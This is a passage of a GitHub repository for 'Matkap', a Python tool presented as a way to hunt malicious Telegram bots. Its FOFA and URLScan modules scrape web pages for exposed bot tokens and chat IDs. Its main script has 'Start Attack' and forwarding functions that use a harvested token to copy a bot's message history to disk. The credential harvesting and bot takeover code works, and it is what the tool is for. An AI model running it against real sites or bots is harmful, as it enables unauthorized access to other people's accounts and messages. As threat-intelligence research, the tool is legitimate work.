├── logo.png ├── requirements.txt ├── .gitignore ├── .env-example ├── LICENSE ├── fofa_api.py ├── urlscan_api.py ├── README.md └── matkap.py /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x6rss/matkap/HEAD/logo.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | telethon 3 | pillow 4 | python-dotenv 5 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | .venv/ 3 | .env 4 | *.session 5 | *.session-journal 6 | captured_messages/ -------------------------------------------------------------------------------- /.env-example: -------------------------------------------------------------------------------- 1 | TELEGRAM_API_ID=1234567 #ex 2 | TELEGRAM_API_HASH=1a2b31234567891011112 #ex 3 | TELEGRAM_PHONE=+90555555555 #ex 4 | FOFA_EMAIL= 5 | FOFA_KEY= 6 | URLSCAN_API_KEY= 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 0x6rss 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /fofa_api.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | import requests 4 | import re 5 | from dotenv import load_dotenv 6 | 7 | load_dotenv() 8 | 9 | FOFA_EMAIL = os.getenv("FOFA_EMAIL", "") 10 | FOFA_KEY = os.getenv("FOFA_KEY", "") 11 | 12 | 13 | BOT_PATTERN = re.compile(r'(?:bot)?\d+:[A-Za-z0-9_-]{35,}') 14 | 15 | 16 | CHAT_ID_PATTERN = re.compile( 17 | r'(?:["\'](-?\d{7,14})["\'])' 18 | r'|(?:chat_id|from_chat_id)\W+(-?\d{7,14})' 19 | ) 20 | 21 | 22 | def search_fofa_and_hunt(): 23 | if not (FOFA_EMAIL and FOFA_KEY): 24 | return [("Error: FOFA_EMAIL or FOFA_KEY missing!", [], [])] 25 | 26 | query = 'body="api.telegram.org"' 27 | qbase64 = base64.b64encode(query.encode()).decode() 28 | url = (f"https://fofa.info/api/v1/search/all?" 29 | f"email={FOFA_EMAIL}&key={FOFA_KEY}&qbase64={qbase64}" 30 | f"&fields=host,ip,port&page=1&size=50") 31 | 32 | try: 33 | resp = requests.get(url, timeout=10) 34 | data = resp.json() 35 | if data.get("error"): 36 | return [(f"FOFA API Error: {data.get('errmsg')}", [], [])] 37 | 38 | if not data.get("results"): 39 | return [("No results from FOFA", [], [])] 40 | 41 | results_list = [] 42 | for row in data["results"]: 43 | 44 | host = row[0] 45 | ip = row[1] if len(row) > 1 else "" 46 | port = row[2] if len(row) > 2 else "" 47 | 48 | 49 | if host.startswith("http://") or host.startswith("https://"): 50 | site_url = host 51 | else: 52 | if port in ("443","8443"): 53 | site_url = f"https://{host}" 54 | if port != "443": 55 | site_url += f":{port}" 56 | elif port in ("80","8080"): 57 | site_url = f"http://{host}" 58 | if port not in ("80"): 59 | site_url += f":{port}" 60 | else: 61 | site_url = f"http://{host}" 62 | if port and port.isdigit(): 63 | site_url += f":{port}" 64 | 65 | try: 66 | r2 = requests.get(site_url, timeout=10, verify=False) 67 | html = r2.text 68 | 69 | found_tokens = BOT_PATTERN.findall(html) 70 | 71 | 72 | chat_matches = CHAT_ID_PATTERN.findall(html) 73 | found_chats = [] 74 | for (g1, g2) in chat_matches: 75 | if g1: 76 | found_chats.append(g1) 77 | elif g2: 78 | found_chats.append(g2) 79 | 80 | results_list.append((site_url, found_tokens, found_chats)) 81 | 82 | except Exception as ex: 83 | err_msg = f"Error fetching {site_url} => {ex}" 84 | results_list.append((err_msg, [], [])) 85 | 86 | return results_list 87 | 88 | except Exception as e: 89 | return [(f"FOFA Request Error: {e}", [], [])] 90 | -------------------------------------------------------------------------------- /urlscan_api.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | import re 4 | from dotenv import load_dotenv 5 | 6 | load_dotenv() 7 | 8 | URLSCAN_API_KEY = os.getenv("URLSCAN_API_KEY", "") 9 | 10 | 11 | BOT_PATTERN = re.compile(r'(?:bot)?\d+:[A-Za-z0-9_-]{35,}') 12 | 13 | 14 | CHAT_ID_PATTERN = re.compile( 15 | r'(?:["\'](-?\d{7,14})["\'])' 16 | r'|(?:chat_id|from_chat_id)\W+(-?\d{7,14})' 17 | ) 18 | 19 | def search_urlscan_and_hunt(): 20 | """ 21 | 1) URLScan search => ?q=domain:api.telegram.org 22 | 2) Her kayıtta '_id' = UUID 23 | 3) Her UUID için => /api/v1/result/{uuid} -> DOM link'e gidip HTML parse 24 | 4) Return => [ (siteInfo, [tokens], [chats]) ... ] 25 | """ 26 | 27 | if not URLSCAN_API_KEY: 28 | return [("Error: URLSCAN_API_KEY missing!", [], [])] 29 | 30 | 31 | query = "domain:api.telegram.org" 32 | url = f"https://urlscan.io/api/v1/search/?q={query}&size=50" 33 | 34 | headers = { 35 | "API-Key": URLSCAN_API_KEY 36 | } 37 | 38 | try: 39 | resp = requests.get(url, headers=headers, timeout=10) 40 | data = resp.json() 41 | 42 | 43 | if "results" not in data or not data["results"]: 44 | return [("No results from URLScan", [], [])] 45 | 46 | results_list = [] 47 | 48 | for entry in data["results"]: 49 | 50 | scan_id = entry.get("_id") 51 | if not scan_id: 52 | continue 53 | 54 | 55 | page_info = entry.get("page", {}) 56 | domain_str = page_info.get("domain", "") 57 | site_url = page_info.get("url", f"UUID:{scan_id}") 58 | 59 | 60 | detail_url = f"https://urlscan.io/api/v1/result/{scan_id}" 61 | try: 62 | detail_resp = requests.get(detail_url, headers=headers, timeout=10) 63 | if detail_resp.status_code == 200: 64 | detail_json = detail_resp.json() 65 | 66 | 67 | data_obj = detail_json.get("data", {}) 68 | html = data_obj.get("dom", "") 69 | if not html: 70 | 71 | dom_url = f"https://urlscan.io/dom/{scan_id}" 72 | dom_resp = requests.get(dom_url, headers=headers, timeout=10) 73 | if dom_resp.status_code == 200: 74 | html = dom_resp.text 75 | 76 | found_tokens = BOT_PATTERN.findall(html) 77 | found_chats = [] 78 | chat_matches = CHAT_ID_PATTERN.findall(html) 79 | for (g1, g2) in chat_matches: 80 | if g1: 81 | found_chats.append(g1) 82 | elif g2: 83 | found_chats.append(g2) 84 | 85 | results_list.append((site_url, found_tokens, found_chats)) 86 | else: 87 | 88 | results_list.append((f"Error fetch result {scan_id}", [], [])) 89 | 90 | except Exception as ex2: 91 | results_list.append((f"Error detail {scan_id} => {ex2}", [], [])) 92 | 93 | return results_list 94 | 95 | except Exception as e: 96 | return [(f"URLScan Request Error: {e}", [], [])] 97 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Matkap 2 | Matkap - hunt down malicious Telegram bots 3 | 4 | 5 | ## Disclaimer (Legal & Ethical Use) 6 | Matkap is intended for educational and research purposes only. This tool is designed to help cybersecurity professionals analyze and understand Telegram bot interactions, particularly those that may pose security risks. 7 | 8 | 🔹 By using Matkap, you agree to the following terms: 9 | 10 | You must not use this tool for illegal activities or unauthorized access. 11 | You assume full responsibility for any actions performed with this tool. 12 | The developers and contributors are not liable for any misuse, damages, or legal consequences arising from the use of Matkap. 13 | Ensure you comply with Telegram's API Terms of Service and all applicable laws in your jurisdiction. 14 | 📌 If you do not agree with these terms, you should not use this tool. 15 | 16 | 17 | ## 📌 Features 18 | 19 | - **FOFA & URLScan Integration** – Searches for leaked Bot Tokens / Chat IDs in websites 20 | - **export logs** - export hunt logs 21 | 22 | 23 | 24 | 25 | 26 | 27 | https://github.com/user-attachments/assets/44599ccd-4b99-461b-9967-913908882771 28 | 29 | 30 | 31 | ![image](https://github.com/user-attachments/assets/3b89f9c9-a7a5-48c4-b27d-ef2fc4d128dd) 32 | 33 | 34 | 35 | 36 | 37 | ## 🛠 Installation 38 | 39 | ### 🔹 Prerequisites 40 | Before running **Matkap**, ensure you have the following: 41 | 42 | - **Python 3.7+** installed on your system. 43 | - **Pip** to install packages. 44 | - An account on [my.telegram.org/apps](https://my.telegram.org/apps) to get your **Telegram API** credentials (`api_id`, `api_hash`, `phone_number`). 45 | - **(Optional)** [FOFA Account](https://fofa.info/) & [URLScan Account](https://urlscan.io/) if you want scanning functionality: 46 | - **FOFA_EMAIL**, **FOFA_KEY** for FOFA 47 | - **URLSCAN_API_KEY** for URLScan 48 | 49 | ### 🔹 Telegram API Credentials (Using a `.env` File) 50 | 51 | 1. **Visit** [my.telegram.org/apps](https://my.telegram.org/apps) and log in with your phone number. 52 | 2. **Create a new application** and note the following: 53 | - **api_id** 54 | - **api_hash** 55 | - **phone_number** (the Telegram account you want to use). 56 | 3. In your project folder, create a **`.env`** file and add: 57 | ```dotenv 58 | TELEGRAM_API_ID=123456 59 | TELEGRAM_API_HASH=your_api_hash 60 | TELEGRAM_PHONE=+900000000000 61 | 62 | # (Optional) For FOFA & URLScan: 63 | FOFA_EMAIL=your_fofa_email 64 | FOFA_KEY=your_fofa_key 65 | URLSCAN_API_KEY=your_urlscan_api_key 66 | 67 | 68 | 69 | 70 | 71 | ```bash 72 | # Clone the repository 73 | >>git clone https://github.com/0x6rss/matkap.git 74 | 75 | # Navigate into the project folder 76 | >>cd matkap 77 | 78 | # Create and fill out your .env file 79 | # with TELEGRAM_API_ID, TELEGRAM_API_HASH, TELEGRAM_PHONE 80 | # (and FOFA_EMAIL, FOFA_KEY, URLSCAN_API_KEY if you plan to use them) 81 | 82 | # Install dependencies 83 | >>pip install -r requirements.txt 84 | 85 | # Run Matkap 86 | >>python matkap.py 87 | ``` 88 | 89 | ## Usage 90 | When you run the code for the first time, Telegram will send you a login code. You need to enter this code into the terminal where you ran the script. 91 | ![image](https://github.com/user-attachments/assets/a4791bb2-2389-4fa9-bcab-b1fea962de4f) 92 | 93 | 94 | 1. **Start Attack** 95 | - Enter the malicious bot token (e.g., `bot12345678:ABC...`) and chat id. 96 | 97 | 2. **Forward All Messages** 98 | - Forward older messages by iterating through message IDs. 99 | - You can **Stop** or **Resume** forwarding at any time. 100 | 101 | 3. **Hunt With FOFA** 102 | - Searches for exposed Bot Tokens / Chat IDs on sites indexed by FOFA (`body="api.telegram.org"`). 103 | - Results appear in the **Process Log**. 104 | 105 | 4. **Hunt With URLScan** 106 | - Similarly hunts for exposed tokens / chat IDs referencing `domain:api.telegram.org` using **URLScan**. 107 | - Also logs them in the **Process Log**. 108 | 109 | 5. **Export captured messages** 110 | - captured Telegram messages are instantly saved to the "captured_messages" directory 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /matkap.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import tkinter as tk 3 | import tkinter.ttk as ttk 4 | import asyncio 5 | import os 6 | import threading 7 | from tkinter import messagebox 8 | from tkinter.scrolledtext import ScrolledText 9 | from telethon import TelegramClient 10 | from dotenv import load_dotenv 11 | 12 | import fofa_api 13 | import urlscan_api 14 | 15 | try: 16 | from PIL import Image, ImageTk 17 | PIL_AVAILABLE = True 18 | except ImportError: 19 | PIL_AVAILABLE = False 20 | 21 | load_dotenv() 22 | 23 | env_api_id = os.getenv("TELEGRAM_API_ID", "0") 24 | env_api_hash = os.getenv("TELEGRAM_API_HASH", "") 25 | env_phone_number = os.getenv("TELEGRAM_PHONE", "") 26 | 27 | api_id = int(env_api_id) if env_api_id.isdigit() else 0 28 | api_hash = env_api_hash 29 | phone_number = env_phone_number 30 | 31 | client = TelegramClient("anon_session", api_id, api_hash, app_version="9.4.0") 32 | 33 | TELEGRAM_API_URL = "https://api.telegram.org/bot" 34 | 35 | class TelegramGUI: 36 | def __init__(self, root): 37 | self.root = root 38 | self.root.title("Matkap by 0x6rss") 39 | self.root.geometry("1300x700") 40 | self.root.resizable(True, True) 41 | 42 | self.themes = { 43 | "Light": { 44 | "bg": "#FFFFFF", 45 | "fg": "#000000", 46 | "header_bg": "#AAAAAA", 47 | "main_bg": "#FFFFFF" 48 | }, 49 | "Dark": { 50 | "bg": "#2E2E2E", 51 | "fg": "#FFFFFF", 52 | "header_bg": "#333333", 53 | "main_bg": "#2E2E2E" 54 | } 55 | } 56 | self.current_theme = "Light" 57 | self.style = ttk.Style() 58 | self.style.theme_use("clam") 59 | self.configure_theme(self.current_theme) 60 | 61 | self.style.configure( 62 | "Fofa.TButton", 63 | background="#000080", 64 | foreground="#ADD8E6", 65 | ) 66 | 67 | self.style.configure("TLabel", background="#D9D9D9", foreground="black") 68 | self.style.configure("TButton", background="#E1E1E1", foreground="black") 69 | self.style.configure("TLabelframe", background="#C9C9C9", foreground="black") 70 | self.style.configure("TLabelframe.Label", font=("Arial", 11, "bold")) 71 | self.style.configure("TEntry", fieldbackground="#FFFFFF", foreground="black") 72 | 73 | self.header_frame = tk.Frame(self.root, bg=self.themes[self.current_theme]["header_bg"]) 74 | self.header_frame.grid(row=0, column=0, columnspan=6, sticky="ew") 75 | self.header_frame.grid_columnconfigure(1, weight=1) 76 | 77 | self.logo_image = None 78 | script_dir = os.path.dirname(os.path.abspath(__file__)) 79 | logo_path = os.path.join(script_dir, "logo.png") 80 | if os.path.isfile(logo_path): 81 | try: 82 | if PIL_AVAILABLE: 83 | pil_img = Image.open(logo_path) 84 | self.logo_image = ImageTk.PhotoImage(pil_img) 85 | else: 86 | self.logo_image = tk.PhotoImage(file=logo_path) 87 | except Exception as e: 88 | print("Logo load error:", e) 89 | self.logo_image = None 90 | 91 | self.header_label = tk.Label( 92 | self.header_frame, 93 | text="Matkap - hunt down malicious telegram bots", 94 | font=("Arial", 16, "bold"), 95 | bg=self.themes[self.current_theme]["header_bg"], 96 | fg=self.themes[self.current_theme]["fg"], 97 | image=self.logo_image, 98 | compound="left", 99 | padx=10 100 | ) 101 | self.header_label.grid(row=0, column=0, sticky="w", padx=5, pady=5) 102 | 103 | self.main_frame = tk.Frame( 104 | self.root, 105 | bg=self.themes[self.current_theme]["main_bg"], 106 | highlightthickness=2, 107 | bd=0, 108 | relief="groove" 109 | ) 110 | self.main_frame.grid(row=1, column=0, columnspan=6, sticky="nsew", padx=10, pady=10) 111 | self.root.grid_rowconfigure(1, weight=1) 112 | self.root.grid_columnconfigure(0, weight=1) 113 | 114 | ttk.Label(self.main_frame, text="Color Theme:").grid(row=0, column=2, sticky="e", padx=5, pady=5) 115 | self.theme_combo = ttk.Combobox(self.main_frame, values=list(self.themes.keys()), state="readonly") 116 | self.theme_combo.current(0) 117 | self.theme_combo.grid(row=0, column=3, padx=5, pady=5, sticky="ew") 118 | self.theme_combo.bind("<>", self.switch_theme) 119 | 120 | self.token_label = ttk.Label(self.main_frame, text="Malicious Bot Token:") 121 | self.token_label.grid(row=1, column=0, sticky="w", padx=5, pady=5) 122 | self.token_entry = ttk.Entry(self.main_frame, width=45) 123 | self.token_entry.grid(row=1, column=1, padx=5, pady=5, sticky="ew") 124 | self.add_placeholder(self.token_entry, "Example: bot12345678:AsHy7q9QB755Lx4owv76xjLqZwHDcFf7CSE") 125 | 126 | self.chat_label = ttk.Label(self.main_frame, text="Malicious Chat ID (Forward):") 127 | self.chat_label.grid(row=2, column=0, sticky="w", padx=5, pady=5) 128 | self.chatid_entry = ttk.Entry(self.main_frame, width=45) 129 | self.chatid_entry.grid(row=2, column=1, padx=5, pady=5, sticky="ew") 130 | self.add_placeholder(self.chatid_entry, "Example: 123456789") 131 | 132 | self.infiltrate_button = ttk.Button( 133 | self.main_frame, 134 | text="1) Start Attack", 135 | command=self.start_infiltration 136 | ) 137 | self.infiltrate_button.grid(row=3, column=0, padx=5, pady=5, sticky="w") 138 | 139 | self.forward_button = ttk.Button( 140 | self.main_frame, 141 | text="2) Forward All Messages", 142 | command=self.forward_all_messages 143 | ) 144 | self.forward_button.grid(row=3, column=1, padx=5, pady=5, sticky="w") 145 | 146 | self.stop_button = ttk.Button( 147 | self.main_frame, 148 | text="Stop", 149 | command=self.stop_forwarding 150 | ) 151 | self.stop_button.grid(row=3, column=2, padx=5, pady=5, sticky="w") 152 | 153 | self.resume_button = ttk.Button( 154 | self.main_frame, 155 | text="Continue", 156 | command=self.resume_forward, 157 | state="disabled" 158 | ) 159 | self.resume_button.grid(row=3, column=3, padx=5, pady=5, sticky="w") 160 | 161 | self.fofa_button = ttk.Button( 162 | self.main_frame, 163 | text="3) Hunt With FOFA", 164 | style="Fofa.TButton", 165 | command=self.run_fofa_hunt 166 | ) 167 | self.fofa_button.grid(row=3, column=4, padx=5, pady=5, sticky="w") 168 | 169 | self.urlscan_button = ttk.Button( 170 | self.main_frame, 171 | text="4) Hunt With URLScan", 172 | style="Fofa.TButton", 173 | command=self.run_urlscan_hunt 174 | ) 175 | self.urlscan_button.grid(row=3, column=5, padx=5, pady=5, sticky="w") 176 | 177 | self.log_frame = ttk.LabelFrame(self.main_frame, text="Process Log") 178 | self.log_frame.grid(row=4, column=0, columnspan=6, sticky="nsew", padx=5, pady=5) 179 | self.main_frame.grid_rowconfigure(4, weight=1) 180 | self.main_frame.grid_columnconfigure(1, weight=1) 181 | 182 | self.log_text = ScrolledText(self.log_frame, width=75, height=15, state="disabled") 183 | self.log_text.pack(fill="both", expand=True, padx=5, pady=5) 184 | 185 | self.log_text.tag_config("token_tag", font=("Arial", 10, "bold italic"), foreground="black") 186 | self.log_text.tag_config("chatid_tag", font=("Arial", 10, "bold italic"), foreground="black") 187 | 188 | clear_logs_btn = ttk.Button(self.log_frame, text="Clear Logs", command=self.clear_logs) 189 | clear_logs_btn.pack(side="right", anchor="e", pady=5) 190 | 191 | export_logs_btn = ttk.Button(self.log_frame, text="Export Logs", command=self.export_logs) 192 | export_logs_btn.pack(side="right", anchor="e", padx=5, pady=5) 193 | 194 | self.bot_token = None 195 | self.bot_username = None 196 | self.my_chat_id = None 197 | self.last_message_id = None 198 | self.stop_flag = False 199 | self.stopped_id = 0 200 | self.current_msg_id = 0 201 | self.max_older_attempts = 200 202 | self.session = requests.Session() 203 | # Skipping + failure tracking 204 | self.skip_seen_messages = True 205 | self.failed_400_ids = [] # list of IDs that returned HTTP 400 206 | self.missing_ids = set() # set of IDs already recorded as missing (400) 207 | 208 | # UI: checkbox to toggle skipping 209 | self.skip_var = tk.BooleanVar(value=True) 210 | self.skip_checkbox = ttk.Checkbutton( 211 | self.main_frame, 212 | text="Skip Seen Messages", 213 | variable=self.skip_var, 214 | command=self.on_toggle_skip 215 | ) 216 | # Place near theme selector row=0 if space; column 4 seems free 217 | self.skip_checkbox.grid(row=0, column=4, padx=5, pady=5, sticky="w") 218 | 219 | 220 | def export_logs(self): 221 | logs = self.log_text.get("1.0", "end") 222 | try: 223 | with open("logs.txt", "w", encoding="utf-8") as f: 224 | f.write(logs) 225 | messagebox.showinfo("Export Logs", "Logs have been exported to 'logs.txt'.") 226 | except Exception as e: 227 | messagebox.showerror("Export Error", f"Failed to export logs!\n{e}") 228 | 229 | def run_fofa_hunt(self): 230 | thread = threading.Thread(target=self._fofa_hunt_process) 231 | thread.start() 232 | 233 | def _fofa_hunt_process(self): 234 | self.log("🔎 Starting FOFA hunt for body='api.telegram.org' ...") 235 | results = fofa_api.search_fofa_and_hunt() 236 | if not results: 237 | self.log("⚠️ No FOFA results or an error occurred!") 238 | return 239 | for (site_or_err, tokens, chats) in results: 240 | if site_or_err.startswith("Error") or site_or_err.startswith("FOFA"): 241 | self.log(f"🚫 {site_or_err}") 242 | continue 243 | if site_or_err.startswith("No results"): 244 | self.log("⚠️ No FOFA results found.") 245 | continue 246 | self.log(f"✨ Found: {site_or_err}") 247 | if tokens: 248 | self.log_text.configure(state="normal") 249 | self.log_text.insert("end", " 🪄 Tokens: ") 250 | for i, token in enumerate(tokens): 251 | self.log_text.insert("end", token, "token_tag") 252 | if i < len(tokens) - 1: 253 | self.log_text.insert("end", ", ") 254 | self.log_text.insert("end", "\n") 255 | self.log_text.configure(state="disabled") 256 | if chats: 257 | self.log_text.configure(state="normal") 258 | self.log_text.insert("end", " Potential Chat IDs: ") 259 | for i, chatid in enumerate(chats): 260 | self.log_text.insert("end", chatid, "chatid_tag") 261 | if i < len(chats) - 1: 262 | self.log_text.insert("end", ", ") 263 | self.log_text.insert("end", "\n") 264 | self.log_text.configure(state="disabled") 265 | self.log("📝 FOFA hunt finished.") 266 | 267 | def run_urlscan_hunt(self): 268 | thread = threading.Thread(target=self._urlscan_hunt_process) 269 | thread.start() 270 | 271 | def _urlscan_hunt_process(self): 272 | self.log("🔎 Starting URLScan hunt for domain:api.telegram.org ...") 273 | results = urlscan_api.search_urlscan_and_hunt() 274 | if not results: 275 | self.log("⚠️ No URLScan results or an error occurred!") 276 | return 277 | for (site_or_err, tokens, chats) in results: 278 | if site_or_err.startswith("Error"): 279 | self.log(f"🚫 {site_or_err}") 280 | continue 281 | if site_or_err.startswith("No results"): 282 | self.log("⚠️ No URLScan results found.") 283 | continue 284 | self.log(f"✨ Found: {site_or_err}") 285 | if tokens: 286 | self.log_text.configure(state="normal") 287 | self.log_text.insert("end", " 🪄 Tokens: ") 288 | for i, token in enumerate(tokens): 289 | self.log_text.insert("end", token, "token_tag") 290 | if i < len(tokens) - 1: 291 | self.log_text.insert("end", ", ") 292 | self.log_text.insert("end", "\n") 293 | self.log_text.configure(state="disabled") 294 | if chats: 295 | self.log_text.configure(state="normal") 296 | self.log_text.insert("end", " Potential Chat IDs: ") 297 | for i, chatid in enumerate(chats): 298 | self.log_text.insert("end", chatid, "chatid_tag") 299 | if i < len(chats) - 1: 300 | self.log_text.insert("end", ", ") 301 | self.log_text.insert("end", "\n") 302 | self.log_text.configure(state="disabled") 303 | self.log("📝 URLScan hunt finished.") 304 | 305 | def configure_theme(self, theme_name): 306 | theme_info = self.themes[theme_name] 307 | bg = theme_info["bg"] 308 | fg = theme_info["fg"] 309 | self.style.configure(".", background=bg, foreground=fg) 310 | self.style.configure("TLabel", background=bg, foreground=fg) 311 | self.style.configure("TButton", background=bg, foreground=fg) 312 | self.style.configure("TLabelframe", background=bg, foreground=fg) 313 | self.style.configure("TLabelframe.Label", background=bg, foreground=fg) 314 | self.style.configure("TEntry", fieldbackground="#FFFFFF", foreground="#000000") 315 | 316 | def switch_theme(self, event): 317 | selected_theme = self.theme_combo.get() 318 | if selected_theme in self.themes: 319 | self.current_theme = selected_theme 320 | self.configure_theme(selected_theme) 321 | self.header_frame.config(bg=self.themes[self.current_theme]["header_bg"]) 322 | self.header_label.config(bg=self.themes[self.current_theme]["header_bg"], 323 | fg=self.themes[self.current_theme]["fg"]) 324 | self.main_frame.config(bg=self.themes[self.current_theme]["main_bg"]) 325 | self.log(f"🌀 Switched theme to: {selected_theme}") 326 | 327 | def clear_logs(self): 328 | self.log_text.configure(state="normal") 329 | self.log_text.delete("1.0", "end") 330 | self.log_text.configure(state="disabled") 331 | 332 | def add_placeholder(self, entry_widget, placeholder_text): 333 | def on_focus_in(event): 334 | if entry_widget.get() == placeholder_text: 335 | entry_widget.delete(0, "end") 336 | entry_widget.configure(foreground="black") 337 | def on_focus_out(event): 338 | if entry_widget.get().strip() == "": 339 | entry_widget.insert(0, placeholder_text) 340 | entry_widget.configure(foreground="grey") 341 | entry_widget.insert(0, placeholder_text) 342 | entry_widget.configure(foreground="grey") 343 | entry_widget.bind("", on_focus_in) 344 | entry_widget.bind("", on_focus_out) 345 | 346 | def log(self, message): 347 | self.log_text.configure(state="normal") 348 | self.log_text.insert("end", message + "\n") 349 | self.log_text.see("end") 350 | self.log_text.configure(state="disabled") 351 | 352 | # ===================== Skip / Seen Messages Helpers ===================== 353 | def on_toggle_skip(self): 354 | self.skip_seen_messages = self.skip_var.get() 355 | self.log(f"🔁 Skip seen messages set to {self.skip_seen_messages}") 356 | 357 | def ensure_data_file(self, chat_id): 358 | """Ensure the data file exists and has a header.""" 359 | if not self.bot_token: 360 | return None 361 | safe_token = self.bot_token.split(":")[0] if self.bot_token else "unknown" 362 | filename = os.path.join("captured_messages", f"bot_{safe_token}_chat_{chat_id}_data.txt") 363 | if not os.path.exists(filename): 364 | try: 365 | os.makedirs("captured_messages", exist_ok=True) 366 | with open(filename, "w", encoding="utf-8") as f: 367 | f.write("=== Bot Information ===\n") 368 | f.write(f"Bot Token: {self.bot_token}\n") 369 | f.write(f"Bot Username: @{self.bot_username}\n") 370 | f.write(f"Chat ID: {chat_id}\n") 371 | f.write(f"Last Message ID: {self.last_message_id}\n") 372 | f.write("\n=== Captured Messages ===\n\n") 373 | except Exception as e: 374 | self.log(f"❌ Error creating data file: {e}") 375 | return None 376 | return filename 377 | 378 | def get_seen_message_ids(self, chat_id): 379 | """Extract unique message IDs (both successful and missing) from data file.""" 380 | if not self.bot_token: 381 | return set() 382 | safe_token = self.bot_token.split(":")[0] 383 | filename = os.path.join("captured_messages", f"bot_{safe_token}_chat_{chat_id}_data.txt") 384 | if not os.path.exists(filename): 385 | return set() 386 | seen = set() 387 | try: 388 | with open(filename, "r", encoding="utf-8", errors="ignore") as f: 389 | for line in f: 390 | if "Message ID:" in line: 391 | # Collect numeric tokens in the line 392 | parts = line.replace("-", " ").replace("(", " ").split() 393 | for p in parts: 394 | if p.isdigit(): 395 | try: 396 | seen.add(int(p)) 397 | except ValueError: 398 | pass 399 | except Exception as e: 400 | self.log(f"❌ Error reading seen IDs: {e}") 401 | return seen 402 | 403 | def compute_unseen_ranges(self, start_id, max_id, seen_ids): 404 | if start_id > max_id: 405 | return [] 406 | if not seen_ids: 407 | return [(start_id, max_id)] 408 | filtered = sorted(i for i in seen_ids if start_id <= i <= max_id) 409 | ranges = [] 410 | cursor = start_id 411 | for sid in filtered: 412 | if sid < cursor: 413 | continue 414 | if sid > cursor: 415 | ranges.append((cursor, sid - 1)) 416 | cursor = sid + 1 417 | if cursor <= max_id: 418 | ranges.append((cursor, max_id)) 419 | return ranges 420 | 421 | def record_missing_message_id(self, chat_id, message_id): 422 | if message_id in self.missing_ids: 423 | return 424 | filename = self.ensure_data_file(chat_id) 425 | if not filename: 426 | return 427 | try: 428 | with open(filename, "a", encoding="utf-8") as f: 429 | f.write(f"\n--- Missing Message ID: {message_id} (HTTP 400 Not Found) ---\n") 430 | self.missing_ids.add(message_id) 431 | except Exception as e: 432 | self.log(f"❌ Failed to record missing ID {message_id}: {e}") 433 | 434 | def save_message_to_file(self, chat_id, message_content): 435 | if message_content: 436 | os.makedirs("captured_messages", exist_ok=True) 437 | 438 | safe_token = self.bot_token.split(":")[0] if self.bot_token else "unknown" 439 | filename = os.path.join("captured_messages", f"bot_{safe_token}_chat_{chat_id}_data.txt") 440 | 441 | if not os.path.exists(filename): 442 | try: 443 | with open(filename, "w", encoding="utf-8") as f: 444 | f.write("=== Bot Information ===\n") 445 | f.write(f"Bot Token: {self.bot_token}\n") 446 | f.write(f"Bot Username: @{self.bot_username}\n") 447 | f.write(f"Chat ID: {chat_id}\n") 448 | f.write(f"Last Message ID: {self.last_message_id}\n") 449 | f.write("\n=== Captured Messages ===\n\n") 450 | except Exception as e: 451 | self.log(f"❌ Error creating file header: {e}") 452 | return False 453 | 454 | try: 455 | with open(filename, "a", encoding="utf-8") as f: 456 | f.write(f"\n--- Message ID: {message_content['message_id']} ---\n") 457 | f.write(f"Date: {message_content['date']}\n") 458 | if message_content['text']: 459 | f.write(f"Text: {message_content['text']}\n") 460 | if message_content['caption']: 461 | f.write(f"Caption: {message_content['caption']}\n") 462 | if message_content['file_id']: 463 | f.write(f"File ID: {message_content['file_id']}\n") 464 | f.write("----------------------------------------\n") 465 | return True 466 | except Exception as e: 467 | self.log(f"❌ Save to file error: {e}") 468 | return False 469 | return False 470 | 471 | def stop_forwarding(self): 472 | self.stop_flag = True 473 | self.log("➡️ [Stop Button] Stop request sent.") 474 | self.resume_button.config(state="normal") 475 | 476 | try: 477 | from_chat_id = self.chatid_entry.get().strip() 478 | if from_chat_id and not "Example:" in from_chat_id: 479 | safe_token = self.bot_token.split(":")[0] if self.bot_token else "unknown" 480 | filename = os.path.join("captured_messages", f"bot_{safe_token}_chat_{from_chat_id}_data.txt") 481 | 482 | if os.path.exists(filename): 483 | self.log(f"📝 Messages saved in: {filename}") 484 | messagebox.showinfo("Data Saved", f"All messages have been saved to: {os.path.basename(filename)}") 485 | except Exception as e: 486 | self.log(f"❌ Error accessing data file: {e}") 487 | 488 | def resume_forward(self): 489 | self.log(f"▶️ [Resume] Resuming from ID {self.stopped_id + 1}") 490 | self.stop_flag = False 491 | self.resume_button.config(state="disabled") 492 | from_chat_id = self.chatid_entry.get().strip() 493 | if not from_chat_id or "Example:" in from_chat_id: 494 | messagebox.showerror("Error", "Malicious Chat ID is empty!") 495 | return 496 | self.forward_continuation(from_chat_id, start_id=self.stopped_id + 1) 497 | 498 | def parse_bot_token(self, raw_token): 499 | raw_token = raw_token.strip() 500 | if raw_token.lower().startswith("bot"): 501 | raw_token = 